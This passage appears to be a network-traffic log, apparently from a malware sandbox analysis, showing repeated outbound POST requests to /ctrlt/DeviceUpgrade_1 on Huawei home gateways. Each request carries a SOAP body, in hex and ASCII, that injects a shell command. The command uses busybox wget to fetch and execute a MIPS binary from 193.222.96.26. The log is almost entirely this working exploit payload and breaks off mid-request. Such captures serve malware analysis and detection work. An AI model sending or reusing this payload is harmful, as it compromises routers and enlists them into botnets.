79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.050858021 CET	2070	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367551088 CET	2713	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	156.253.46.37	37215	192.168.2.23	47270

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:36.164238930 CET	1480	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:37.829633951 CET	1508	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.781488895 CET	1566	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.720716000 CET	1673	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.651753902 CET	1853	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.265759945 CET	2322	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:38.749181032 CET	3170	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 